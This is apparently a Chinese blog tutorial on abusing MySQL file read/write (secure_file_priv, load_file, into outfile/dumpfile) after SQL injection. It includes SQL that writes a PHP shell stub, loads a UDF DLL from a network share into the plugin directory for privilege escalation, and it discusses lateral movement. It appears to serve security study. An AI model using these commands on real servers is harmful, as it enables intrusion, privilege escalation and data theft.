mysql read file_MySQL利用OS读写文件的前提

本文介绍了在Windows和MySQL 5.7.26环境下,进行文件读写的前提条件,包括拥有文件读权限、设置secure_file_priv属性。详细阐述了secure_file_priv的不同设置对文件操作的影响,并提供了读写文件的函数示例,如load_file()和load data infile()。同时,讨论了写文件可能带来的安全风险,如写入shell和内网扩散。
摘要由CSDN通过智能技术生成

能读写文件的前提

不同系统、不同的数据库版本有细微差异,以下实验都在Windows和Mysql 5.7.26下操作;

1.拥有该File的读权限 或 该目录写的权限

2.secure_file_priv属性的值不为NULL

Windows下的设置

修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =

保存,重启mysql。

secure_file_priv属性值的设置:

secure_file_priv为null 表示不允许导入导出 (5.7后为默认值)

secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹

secure_file_priv没有设置时,则表示没有任何限制

[mysqld]

secure_file_priv=

# secure_file_priv= 表示对读写没有限制

# secure_file_priv= 在基线扫描时也是一个漏洞特征

Linux下的设置

在/etc/my.cnf的[mysqld]下面添加

[mysqld]

secure_file_priv=''

# 保存,重启mysql

pkill mysqld

ps -e|grep mysqld

# 如果为空说明杀光了

./mysql_safe &

没有读写权限的尝试

win:

use thirdweek;

create table read2_tb(word text);

insert into read2_tb(word) values (load_file('D:/test.txt'));

select * from read2_tb;

d3c8b68e33d3d556e37d3669006eb46b.png

也不报错,就是每执行一次就增加一行空值;

linxu:

报错:The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

确认有SQL注入后,跟进确认是否有读写权限

# win

show global variables LIKE "secure_file_priv";

7ba9588544d049159b5d8ba8ae86046d.png

# linux

show global variables LIKE "secure_file_priv";

f06296a1c07bf77f84cfa47ee9489b51.png

read

能读文件意味着系统敏感文件泄露,代码被审计;读远程文件;

准备好要读的文件

c7ea6e63815ed3279f14d5ca274813f6.png

常用读文件函数,mysql在不同版本读取文件的函数可能会不同:

load_file()

load data infile()

system cat

load_file()

use thirdweek;

create table read2_tb(word text);

insert into read2_tb(word) values (load_file('D:/test.txt'));

select * from read2_tb;

sql> insert into read2_tb(word) values (load_file('D:/test.txt'))

[2019-08-15 10:55:11] 1 row affected in 4 ms

409affe2b912651d837a27719137f4ca.png

读入成功。

load_file( )函数支持网络路径。如果你可以将DLL复制到网络共享中,那么你就可以直接加载并将它写入磁盘。

select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

load data infile()

load data infile 'D:/test.txt' into table read2_tb;

2afc05bb89037c1cc2dab507df320709.png

write

写命令可以将一条select语句的结果写到MySQL进程所有者拥有的完全可写权限的文件中。能写文件就意味着能写入shell, OS 区分Win\Linux之间的差别;

into outfile

将某列数据写出

use thirdweek;

select * from read2_tb where 1=1 into outfile 'D:/test2.txt';

# D:/test2.txt 不能存在,不然报错

[2019-08-15 11:23:11] [HY000][1086] File 'D:/test.txt' already exists

42125259c57f413c8bce433f34b506de.png

自定义shell写出

select "123<?php ?>" into dumpfile '/home/Mysticbinary/test.so';

e5a63ea52ca8c9de842d84a2578a2469.png

into dumpfile

Think about it carefully. Both of them are function writers. Are they different?

Reference:https://www.jb51.net/article/139858.htm

The difference beween outfile and dumpfile:

导出的行数不一样

转义输出

是否允许二进制文件

导出的行数区别

outfile

首先通过命令select * from test into outfile '/tmp/test.txt'来使用outfile导出:

3c99d24a1e8fd99ab438d199129c7ddf.png

通过查看官方文档,可以看出使用如下参数可以进行格式调整

b038867e1defa63ea76b53bdb3fc16d3.png

FIELDS ESCAPED BY 可以用来对指定的字符进行转义

FIELDS [OPTIONALLY] ENCLOSED BY 用来对字段值进行包裹

FIELDS TERMINATED BY 用来对字段值之间进行分割

Example:select * from test into outfile '/tmp/test.txt FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY ' " 'LINES TERMINATED BY '\n'

Example out :

aba1c09ec9fcac174c932581d60dc552.png

dumpfile

在通过命令select * from test into dumpfile '/tmp/test.txt'来使用outfile导出:

命令执行时,命令提示超过一行

67c000b2bf214fef33af16786859c23d.png

查看文件内容

db094418c99727b470b94d6d7a9461d2.png

通过dumpfile导出的数据行数据之间并未进行换行且只导出了部分数据。

转义输出

保持原数据格式

outfile

我们使用命令 select 'a\naa\raaaa' into outfile '/tmp/test.txt' 来看一下在常用的写文件场景下的结果

68ef6e1622783554a4eccf987f6d81e1.png

outfile对导出内容中的\n等特殊字符进行了转义,并且在文件内容的末尾增加了一个新行

dumpfile

使用命令select 'a\naa\raaaa' into dumpfile '/tmp/test.txt';

f2ee7b9b41f333765d9ab9e7a3e77e3f.png

可以看到dumpfile对文件内容是原稿写入,未做任何转移和增加。

基于这个原因,在UDF提权中一般使用dumpfile进行dll文件 写入的原因。

二进制文件

outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中很棘手,因为会自动将单引号转义成\',请千万注意。

但dumpfile,后面的路径可以是单引号、0x、char转换的字符,但是路径中的斜杠是/而不是\。

因为dumpfile允许写二进制文件。

mysql写shell并利用成功的前提

1.拥有上面说的3个前提

2.能写入到可执行目录里面

3.能连接成功

利用mysql写shell的好处

内网扩散

数据库一般都在内网之中,与其他内网主机能互通,作为一个跳板机就很理想,不过需要注意OP/DBA这种岗位对这台SQL主机的持续监控;

提权

一般进入主机可能是低权限或者匿名用户,但是通过SQL注入得到的登陆用户具有一定权限;利用SQL注入也是一种提权方式;

system + [shell command]

在mysql版本为5.x时,除了可以使用以上方式读写文件,还可以使用命令直接读写文件,前提是使用linux.

# read

system cat /test.txt

# writer

system vim /web/site/www/test/a.php

注意:

1.此方法只能在本地读取,远程连接mysql时无法使用system

2.无法越权操作

实验证明

$SQL1 = "select * from test_tb where name='lisi' and sex='0'";

//$SQL2 = "system date;";

$conn = getConnect();

$result = $conn->query($SQL1);

//$result = $conn->query($SQL2);

print_r($result);

在php远程连接mysql,然后执行了SQL1 和 SQL2, 发现执行的system的SQL语句失败。说明该关键字只能在本地的Linux Mysql上使用。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值